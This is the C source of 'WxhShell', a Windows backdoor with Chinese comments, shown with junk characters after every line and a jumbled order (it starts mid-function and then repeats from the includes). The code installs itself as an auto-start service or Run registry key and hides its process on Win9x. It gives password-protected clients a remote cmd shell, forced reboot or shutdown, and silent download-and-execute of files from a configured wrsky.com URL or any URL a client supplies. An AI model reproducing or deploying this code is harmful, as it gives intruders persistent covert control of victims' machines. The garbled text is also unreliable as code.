  case 'd': { 07$o;W@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xwty<?dRW1  
    if(Boot(SHUTDOWN)) |)G<,FJQE_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (tQc  
    else { vcd\GN*4f  
    closesocket(wsh); { BHO/q3  
    ExitThread(0); G#1GXFDO{  
    } PxE3K-S)G  
    break; \|ao`MMaD<  
    } v.ui!|c  
  // 获取shell bu"!jHPB  
  case 's': { a'z7(8$$  
    CmdShell(wsh); ~v"L!=~G;a  
    closesocket(wsh); 1i ] ^{;]  
    ExitThread(0); ZAf7Tz\U  
    break; fxIf|9Qi`  
  } sN wI 0o  
  // 退出 snikn&  
  case 'x': { i 3SHg\~Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2:=  
    CloseIt(wsh); ,v&(YOd  
    break; 4Z,!zFS$`  
    } _-Fs# f8  
  // 离开 o8vug$=Z  
  case 'q': { nNU2([  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4H<lm*!^  
    closesocket(wsh); ?0,Ngrbe  
    WSACleanup(); #5j\C+P}|  
    exit(1); a@*\o+Su  
    break; Qw)c$93  
        } <d_!mKw  
  } !Rt>xD  
  } Z(!\% mn  
&! ?eL  
  // 提示信息 y^%y<~f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Wxe0IXq3Nn  
} tnG# IU *  
  } BVO<e \>3  
#C3.Jef  
  return; "-J -k=  
} #1G:lhkC  
bY0|N[ g  
// shell模块句柄 n.G!43@*N  
int CmdShell(SOCKET sock) ;d9QAN&0}  
{ xF44M]i  
STARTUPINFO si; ^v`\x5"Vp  
ZeroMemory(&si,sizeof(si)); E\,-XH  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [zM-^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $p?aVO  
PROCESS_INFORMATION ProcessInfo; &pp|U}  
char cmdline[]="cmd"; `^y7f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C 6AUNRpl  
  return 0; j,dR,Nd  
} iW /}#  
}!C)}.L<  
// 自身启动模式 {,~3.5u   
int StartFromService(void) 6f*CvW  
{ & 9 ?\b7  
typedef struct w)Qp?k d  
{ 2('HvH]k  
  DWORD ExitStatus; Hg$lXtn]  
  DWORD PebBaseAddress; ,Vk3kmuvr]  
  DWORD AffinityMask; 0=E]cQwh  
  DWORD BasePriority; 0s2v'A[\  
  ULONG UniqueProcessId; `^Em&6!!  
  ULONG InheritedFromUniqueProcessId; <yFu*(Q  
}   PROCESS_BASIC_INFORMATION; 6b \&~b@T  
`lt"[K<  
PROCNTQSIP NtQueryInformationProcess; Gk /fBs  
X(-4<B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n#OB%@]<V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J6FV]Gpv  
?m? ::RH  
  HANDLE             hProcess; [mGLcg6Fw  
  PROCESS_BASIC_INFORMATION pbi; M1iS(x  
)f<z% :I+Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m-"w0Rl1T  
  if(NULL == hInst ) return 0; ah+iZ}E%  
wx0j(:B]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X*@dj_,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xx%j.zDI]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c|@bwat4  
lv+TD!b   
  if (!NtQueryInformationProcess) return 0; b 7?hI  
(c &mCJN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sI^Xb@'09$  
  if(!hProcess) return 0; K}MK<2vU  
<;Zmjeb+#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BeoDKdAwY  
JHTSUq  
  CloseHandle(hProcess); Hn+~5@.  
!NvI:C_4|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y^EcQzLw  
if(hProcess==NULL) return 0; dvJ M6W>^=  
>_"an~Ss  
HMODULE hMod; |Uh  
char procName[255]; D2B%0sfl~  
unsigned long cbNeeded; k5.Lna  
X))/ m[_[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <s<n  
[;) ,\\u,d  
  CloseHandle(hProcess); ~<F8ug #  
9H`XeQ.  
if(strstr(procName,"services")) return 1; // 以服务启动 sZ/v^ xk  
0*D$R`$  
  return 0; // 注册表启动 WuUk9_ g  
} \$T(t/$9  
T&u5ki4NE  
// 主模块 z !rL s76  
int StartWxhshell(LPSTR lpCmdLine) U7}yi$WT  
{ qL3;}R  
  SOCKET wsl; {dMsz   
BOOL val=TRUE; qwgPk9l  
  int port=0; j0evq+  
  struct sockaddr_in door; G[I"8iS,  
JL}_72gs  
  if(wscfg.ws_autoins) Install(); dV$gB<iS  
Y;^l%ePuW  
port=atoi(lpCmdLine); ZyPVy  
.Una+Z  
if(port<=0) port=wscfg.ws_port; ARwD~ Tr  
8ek@: Mw  
  WSADATA data; W^LY'ypT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Eq9x2  
;m{1 _1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BdblLUGK#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cZU=o\  
  door.sin_family = AF_INET; k(7&N0V%zz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lKp"xcAD  
  door.sin_port = htons(port); .P%bkD6M  
`1{ZqRFQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F]]]y5t  
closesocket(wsl); /,&<6c-Q@W  
return 1; =O_4|7Zl  
} dkBIx$t  
1.{z3_S21:  
  if(listen(wsl,2) == INVALID_SOCKET) { {|_M # w~&  
closesocket(wsl); *>'V1b4}  
return 1; Yz"#^j}Kg  
} })8N5C+KU  
  Wxhshell(wsl); vB|hZTW  
  WSACleanup(); f:|1_j  
J1RJ*mo7,  
return 0; J76kkW`5  
QIvVcfM^  
} {e9@-  
JZ*/,|1}EC  
// 以NT服务方式启动 ju8q?Nyhs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bj0G5dc=  
{ A_ N;   
DWORD   status = 0; BBRR)  
  DWORD   specificError = 0xfffffff; KNpl:g3{<Q  
+LZLy9iKt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i&66Fi1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =eXU@B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #+HJA42  
  serviceStatus.dwWin32ExitCode     = 0; `nv~NLkl  
  serviceStatus.dwServiceSpecificExitCode = 0; " H&W}N  
  serviceStatus.dwCheckPoint       = 0; ex9g?*Q  
  serviceStatus.dwWaitHint       = 0; #9}D4i.`}  
 ~f1%8z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lVR~Bh  
  if (hServiceStatusHandle==0) return; _j/<{vSy  
#TX/aKr:  
status = GetLastError(); #Z`q+@@ ]A  
  if (status!=NO_ERROR) w?k>:,'[  
{ i6tf2oqO7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o_Z5@F  
    serviceStatus.dwCheckPoint       = 0; K&ZtRRDd  
    serviceStatus.dwWaitHint       = 0; .4M.y:F  
    serviceStatus.dwWin32ExitCode     = status; eH3JyzzP,  
    serviceStatus.dwServiceSpecificExitCode = specificError; &5spTMw8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O-~ 7b(Z  
    return; &<5zqsNJ\a  
  } wh\}d4gN  
Ng>5?F^v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l7259Ro~  
  serviceStatus.dwCheckPoint       = 0; ]&xk30  
  serviceStatus.dwWaitHint       = 0; otl0J Ht*+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _jI,)sr4ic  
} AOWmzu{zw  
|\<`Ib4j  
// 处理NT服务事件,比如:启动、停止 v/0QOp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '()xHEGl3  
{ }=UHbU.n~!  
switch(fdwControl) ?'Xj g#}<  
{ F2dHH^  
case SERVICE_CONTROL_STOP: ogtEAv~e7N  
  serviceStatus.dwWin32ExitCode = 0; rEnQYz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U;V7 u/{  
  serviceStatus.dwCheckPoint   = 0; 9T}pT{~V  
  serviceStatus.dwWaitHint     = 0; 4(~L#}:r!  
  { 8'.Hyy@;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {M$1N5Eh  
  } !M]uL&:  
  return; z(exA  
case SERVICE_CONTROL_PAUSE: 5k3n\sqZA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {3p4:*}  
  break; Av$^  
case SERVICE_CONTROL_CONTINUE: 7 60Y$/Wz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?m=N]!n  
  break; #*uL)2nR  
case SERVICE_CONTROL_INTERROGATE: :q7Wy&ow  
  break; dh*ZKI^@(  
}; .b&t ;4q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *_{j=sd  
} yAs> {6%-  
*{@Nq=fE  
// 标准应用程序主函数  u\x}8pn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P*Uwg&Qz)  
{ OwUhdiG  
}bpQq6ZF  
// 获取操作系统版本 +L| ?~p`V  
OsIsNt=GetOsVer(); M~#gRAUJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %@ODs6 R0  
mpEK (p  
  // 从命令行安装 p2[n$61   
  if(strpbrk(lpCmdLine,"iI")) Install(); _476pZ_  
N/'b$m5= S  
  // 下载执行文件 >~sI8czR*  
if(wscfg.ws_downexe) { -M~:lK]n   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d>&,9c%  
  WinExec(wscfg.ws_filenam,SW_HIDE); #m<nAR  
} kr5">"7  
}b"yU#`Q\  
if(!OsIsNt) { Y3cMC)  
// 如果时win9x,隐藏进程并且设置为注册表启动 qu6D 5t  
HideProc(); 7qLpZ/  
StartWxhshell(lpCmdLine); C12Fl  
} %2/EaaR  
else ksqQM  
  if(StartFromService()) `$<.pOm  
  // 以服务方式启动 m 3hrb-  
  StartServiceCtrlDispatcher(DispatchTable); 2K6qY)/_  
else c|B('3h  
  // 普通方式启动 18d4fR   
  StartWxhshell(lpCmdLine); B6As,)RjD:  
4*#18<u5  
return 0; W$;,CU.v  
} J +DDh=%  
'$IKtM`L  
_LUhZlw  
K.nHii   
=========================================== (sTpmQx,b  
Y>T-af49  
8f 4b&ah  
4Zddw0|2  
LTCb@L{^i  
#s( BuVU  
" T_ <@..C  
d-ZJL6-  
#include <stdio.h> @|m/djN5x  
#include <string.h> oUr66a/[U  
#include <windows.h> f4b/NG|  
#include <winsock2.h> $q{!5-e  
#include <winsvc.h> Y;Dp3v !  
#include <urlmon.h> m%?pf2%I#  
xY8$I6  
#pragma comment (lib, "Ws2_32.lib") t]g-CW 3  
#pragma comment (lib, "urlmon.lib") o5O#vW2Il&  
(k)v!O-  
#define MAX_USER   100 // 最大客户端连接数 ww3-^v  
#define BUF_SOCK   200 // sock buffer z`}qkbvi  
#define KEY_BUFF   255 // 输入 buffer ;_I8^?d  
S-b/S5  
#define REBOOT     0   // 重启 EIAc@$4  
#define SHUTDOWN   1   // 关机 TR`U-= jH,  
8)3*6+D  
#define DEF_PORT   5000 // 监听端口 (9 GWbB?  
tBWrL{xLe  
#define REG_LEN     16   // 注册表键长度 P[ck84F/  
#define SVC_LEN     80   // NT服务名长度 *?>T,gx}  
E\EsWb  
// 从dll定义API u8g~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TnA-;Ha  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J#(LlCs?@c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FFpT~.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }W8;=$jr  
e4_rC'=  
// wxhshell配置信息 c )g\/  
struct WSCFG { RnE4<Cy  
  int ws_port;         // 监听端口 w<3#1/g!2B  
  char ws_passstr[REG_LEN]; // 口令 q5+4S5R*^  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6]N;r5n  
  char ws_regname[REG_LEN]; // 注册表键名 eHZws`W  
  char ws_svcname[REG_LEN]; // 服务名 1{. |+S Z!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D%SlAzZ3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vX"*4m>b?+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~<5!?6Yt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "| g>'wM*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MUc$ j&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U&OJXJd j  
6l1jMm|= X  
}; g2ixx+`?|:  
lU\ [aNs  
// default Wxhshell configuration ]^7@}Ce_  
struct WSCFG wscfg={DEF_PORT, h"Q8b}$^)  
    "xuhuanlingzhe", wv1iSfW  
    1, 5m 4P\y^a  
    "Wxhshell", =R|HV;9 h  
    "Wxhshell", ]|a g  
            "WxhShell Service",  A,<E\  
    "Wrsky Windows CmdShell Service", fOGFq1D  
    "Please Input Your Password: ", P>D)7 V9Hh  
  1, mdDOvm:&  
  "http://www.wrsky.com/wxhshell.exe", Sy_G,+$\  
  "Wxhshell.exe"  'KL0@l  
    }; v$v-2y'%  
-f^tE,-  
// 消息定义模块 6l x>>J!H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eJ-xsH*8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p)-^;=<B3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iHf$  
char *msg_ws_ext="\n\rExit."; & h)yro  
char *msg_ws_end="\n\rQuit."; SHgN~ Um  
char *msg_ws_boot="\n\rReboot..."; 4l'fCZhA}  
char *msg_ws_poff="\n\rShutdown..."; ZvX*t)VjTz  
char *msg_ws_down="\n\rSave to "; *OsQ}onv  
_6hQ %hv8  
char *msg_ws_err="\n\rErr!"; G j?t_Zln  
char *msg_ws_ok="\n\rOK!"; exUFS5d  
|aS.a&vwR  
char ExeFile[MAX_PATH]; b. '-?Nn  
int nUser = 0; P3=G1=47U  
HANDLE handles[MAX_USER]; MJO-q $)c  
int OsIsNt; ksUcx4;a@F  
-d/ =5yxL  
SERVICE_STATUS       serviceStatus; JFmC\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pYEMmZ?L  
X`K<>0.N  
// 函数声明 o:'MpKm  
int Install(void); l|[N42+  
int Uninstall(void); *:7rdzn  
int DownloadFile(char *sURL, SOCKET wsh); v!-pSa)3  
int Boot(int flag); q YQl,w  
void HideProc(void); !9e=_mY  
int GetOsVer(void); ~G&dqw/.-U  
int Wxhshell(SOCKET wsl); `/+>a8  
void TalkWithClient(void *cs); %aCqi(.7  
int CmdShell(SOCKET sock); ^z*t%<@[Q  
int StartFromService(void); Wvh#:Z  
int StartWxhshell(LPSTR lpCmdLine); `$ 9x1dx  
a58H9w"u)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9W5lSX#^;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *N<]Xy @  
,ZNq,$j  
// 数据结构和表定义 ;igIZ$&  
SERVICE_TABLE_ENTRY DispatchTable[] = |wMN}bq|T  
{ sl l\g  
{wscfg.ws_svcname, NTServiceMain}, Z5n1@a __  
{NULL, NULL} %[TR^Th6  
}; :3Ox~o  
|HQW0  
// 自我安装 M|h3Wt~7  
int Install(void) ;$|nrwhy  
{ TIDO@NwF  
  char svExeFile[MAX_PATH]; Wn2NMXK  
  HKEY key; @Nx 9)  
  strcpy(svExeFile,ExeFile); hn@08t G  
U7F!Z( 9  
// 如果是win9x系统,修改注册表设为自启动 B9z?mt'|r)  
if(!OsIsNt) { JH9J5%sp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S%>]q s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0s[Hkhls  
  RegCloseKey(key); CAhXQ7w'Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r l%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X+9>A.92  
  RegCloseKey(key); ~<bZ1TD   
  return 0; v\ )W?i*l  
    } M%m4i9~!?  
  } bI1N@=  
} {!L~@r  
else { 9Y9GwL]T  
:5<UkN)R(  
// 如果是NT以上系统,安装为系统服务 #;yZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =; Ff4aF  
if (schSCManager!=0) N4!O.POP  
{ x 9fip-  
  SC_HANDLE schService = CreateService P= NDS2  
  ( -Q*gW2KmV  
  schSCManager, O^ yG?b  
  wscfg.ws_svcname, 24eLB? H  
  wscfg.ws_svcdisp, q0vQ a  
  SERVICE_ALL_ACCESS, ,f>k%_U}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y:[u1~a  
  SERVICE_AUTO_START, *GPiOA a  
  SERVICE_ERROR_NORMAL, Vc Z3 X4/  
  svExeFile, #X1ND  
  NULL, <bWG!ZG  
  NULL, TvbE2Q;/UL  
  NULL, /J;Kn]5e  
  NULL, GD$l| |8  
  NULL )y$(AJx$  
  ); #"~<HG}bR/  
  if (schService!=0) F JyT+  
  { m{HS0l'  
  CloseServiceHandle(schService); U Cjld  
  CloseServiceHandle(schSCManager); g($2Dk_F2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NBGH_6DROw  
  strcat(svExeFile,wscfg.ws_svcname); e\L8oOk#r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sXPe/fWo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )SGq[B6@I  
  RegCloseKey(key); {`@G+JV~Jw  
  return 0; |CyE5i0  
    } 5$k:t  
  } [4f{w%~^  
  CloseServiceHandle(schSCManager); j\M?~=*w  
} ? =Kduef  
} > ~O.@|  
tWc Hb #  
return 1; VOLj>w  
} gPPkT"  
WNtW|I V  
// 自我卸载 ww1[rCh\+  
int Uninstall(void) :V||c5B+  
{ d2$IH#~9B  
  HKEY key; OneY_<*a<  
D0f]$  
if(!OsIsNt) { J|73.&B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `ERz\`d~Y;  
  RegDeleteValue(key,wscfg.ws_regname); M_DwUS 1?  
  RegCloseKey(key); +N U G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V'gh 6`v  
  RegDeleteValue(key,wscfg.ws_regname); 5{,<j\#L  
  RegCloseKey(key); 9pfIzs su3  
  return 0; ECmW`#Otb)  
  } Z% UP6%  
} ,ig/s2ZG6X  
} 8}:nGK|kx  
else { h<QY5=S F  
V0mn4sfs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]`WJOx4  
if (schSCManager!=0) Mi_$">1-W  
{ )^hbsMhO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #RLt^$!H  
  if (schService!=0) J{G?-+`  
  { C0Z=~Q%  
  if(DeleteService(schService)!=0) { d<Tc7vg4|U  
  CloseServiceHandle(schService); {' H(g[k  
  CloseServiceHandle(schSCManager); :ShT|n7  
  return 0; jPkn[W# 6  
  } aN3;`~{9  
  CloseServiceHandle(schService); j?QDR  
  } J'r^/  
  CloseServiceHandle(schSCManager); 8u]2xB=K  
} F!K>Kz  
} Tid aa  
\i &<s;  
return 1; COlaD"Y  
} Z;"vW!%d  
f|(M.U-  
// 从指定url下载文件 xT2PyI_:  
int DownloadFile(char *sURL, SOCKET wsh) 9>#6*/Oa7  
{ K*dCc}:`  
  HRESULT hr; @C aG9]  
char seps[]= "/"; klhtKp_p  
char *token; TA~{1_l  
char *file; mX|ojZ  
char myURL[MAX_PATH]; k9F=8q  
char myFILE[MAX_PATH]; Znv,9-  
?aMOZn?  
strcpy(myURL,sURL); *X}`PF   
  token=strtok(myURL,seps); L}NSR  
  while(token!=NULL) =2x^nW  
  { ,2ar7 5Va  
    file=token; \73ch  
  token=strtok(NULL,seps); "kFg  
  } wz8yD8M  
akQ7K  
GetCurrentDirectory(MAX_PATH,myFILE); +"@ .8m  
strcat(myFILE, "\\"); 8dhUBJ0_  
strcat(myFILE, file); FN73+-:n:j  
  send(wsh,myFILE,strlen(myFILE),0); i}?>g-(  
send(wsh,"...",3,0); Y<8vw d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /a o5FL  
  if(hr==S_OK) vvOV2n .WD  
return 0; B>.qd  
else zx7{U8*`<  
return 1; &kw@,];4Z  
cM7[_*Ot<m  
} rrv%~giU  
vfo~27T{(  
// 系统电源模块 rVsJ`+L  
int Boot(int flag) Af{"pzY  
{ Rx}Gz$   
  HANDLE hToken; vr^qWn  
  TOKEN_PRIVILEGES tkp; 0ZO2#>gh$  
@=kSo -SX  
  if(OsIsNt) { as=LIw}Q4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `P ,d$H "  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PFK  '$  
    tkp.PrivilegeCount = 1; WuW^GC{7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g=o4Q< #^y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); po7qmLq  
if(flag==REBOOT) { v*yuE5{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |zE'd!7E  
  return 0; h)nG)|c  
} " 2Dngw  
else { t0 ?\l)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) POR\e|hRT]  
  return 0; TuqH*{NNy9  
} 0qT%!ku&  
  } 7t_^8I%[  
  else { lb1Xsgm{  
if(flag==REBOOT) { 2f_:v6   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s"?3]P  
  return 0; b>9>uC@J15  
} 8-6L|#J#  
else { >-{Hyx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <rSF*  
  return 0; ws^ np  
} ]M'=^32  
} L&OwPd  
61 ~upQaR  
return 1; t&Og$@  
} ;6hOx(>`=  
2)~> R  
// win9x进程隐藏模块 1@=po)Hnp  
void HideProc(void) !5?<% *  
{ *_g$MI  
YT8F#t8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dnuu&Rv  
  if ( hKernel != NULL ) ;ovP$ vl>  
  { W+1^4::+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B,fo(kG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FU<Jp3<%  
    FreeLibrary(hKernel); 7vj2 `+r.  
  } dGTsc/$  
8e"gW >f  
return; /vb`H>P  
} -s'-eQF J  
mlS$>O_aX  
// 获取操作系统版本 ?b5 ^  
int GetOsVer(void) <_KIK  
{ -n5)w*b,  
  OSVERSIONINFO winfo; q6X1P" %.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); i(+p0:< 0  
  GetVersionEx(&winfo); y L~W.H  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d8x;~RA  
  return 1; $ o#V#  
  else b\+`e b8_  
  return 0; [;sRV<  
} HiJE}V;Vq  
P}`H ~N~  
// 客户端句柄模块 B^jc3 VsR  
int Wxhshell(SOCKET wsl) fa2kG&, _  
{ S`m]f5u|  
  SOCKET wsh; BJo*'US-Q  
  struct sockaddr_in client; ?5 [=(\/.  
  DWORD myID; W'u>#  
vEz"xz1j!]  
  while(nUser<MAX_USER) "Os_vlapHo  
{ xFg>SJ7]  
  int nSize=sizeof(client); u,Kly<0j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S?BG_J6A7  
  if(wsh==INVALID_SOCKET) return 1; 4|#WFLo@  
>~+ELVB&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {P#|zp4C{  
if(handles[nUser]==0) &Z|P2dI  
  closesocket(wsh); VTHH&$ZNq  
else s=/v';5J2!  
  nUser++; 57'4ljvYi  
  } U_c*6CK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DkAAV9*  
yyy|Pw4:Z  
  return 0; I[X772K  
} &~U ]~;@  
N_q|\S>t/  
// 关闭 socket %3''}Y5  
void CloseIt(SOCKET wsh) }?v )N).kW  
{ Z>#i**  
closesocket(wsh); 2Q:+_v  
nUser--; \:F_xq  
ExitThread(0); x# 5A(g  
} >t_6B~x9  
?= fyc1  
// 客户端请求句柄 F`]2O:[  
void TalkWithClient(void *cs) ayF\nk4b  
{ uOdl*|T?  
b<gr@WF  
  SOCKET wsh=(SOCKET)cs; >!)DM]Ri  
  char pwd[SVC_LEN]; Jma1N;d  
  char cmd[KEY_BUFF]; P\)iZiGc  
char chr[1]; l_%6  
int i,j; g_COp "!~9  
}txX; "/  
  while (nUser < MAX_USER) { Aj]V`B:65  
FH+s s!  
if(wscfg.ws_passstr) { \v)+.m?n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <0q;NrvUb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); by/jYg)+  
  //ZeroMemory(pwd,KEY_BUFF); Hc(OI|z~  
      i=0; kt$jm)UI~l  
  while(i<SVC_LEN) { UByv?KZi  
cDH^\-z  
  // 设置超时 qPfQy  
  fd_set FdRead; lQkQ9##*   
  struct timeval TimeOut; 85xR2<:  
  FD_ZERO(&FdRead); f^XOUh  
  FD_SET(wsh,&FdRead); {%6`!WW[  
  TimeOut.tv_sec=8; Ck7uJI<x  
  TimeOut.tv_usec=0; pBA7,z"`mP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KRDmY+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m$T-s|SY  
&H:(z4/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GYUn6P  
  pwd=chr[0]; p,i[W.dy.'  
  if(chr[0]==0xd || chr[0]==0xa) { jPW#(3hoE  
  pwd=0; d)f :)Ew  
  break; oIj#>1~c%  
  } ]}2ZttQ?  
  i++; '}bgLv  
    } ;cN{a&  
>[=^_8M  
  // 如果是非法用户,关闭 socket 9j:"J` '  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C#Iybg  
} C/6V9;U  
:'*~uJrR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3y8G?LL/[7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9\JF`ff_  
j9+w#G]hV  
while(1) { 161xAig  
!^Y(^RS@  
  ZeroMemory(cmd,KEY_BUFF); 6MdiY1Lr!K  
><HE;cVg?  
      // 自动支持客户端 telnet标准   l}sjD[2  
  j=0; K1!j fp  
  while(j<KEY_BUFF) { ax5<#3__  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %UCr;H/  
  cmd[j]=chr[0]; _D(rI#q  
  if(chr[0]==0xa || chr[0]==0xd) { :$BCRQ  
  cmd[j]=0; LvUj9eVb/L  
  break; rFYWs6  
  } _&ks1cw  
  j++; "y/?WQ>,3  
    } 7CTFOAx#  
|3yL&"  
  // 下载文件 oJ|j#+Ft  
  if(strstr(cmd,"http://")) { SPmq4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eb"5- 0  
  if(DownloadFile(cmd,wsh)) mmRJ9OhS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =k`Cr0aPF  
  else h6`6tk  
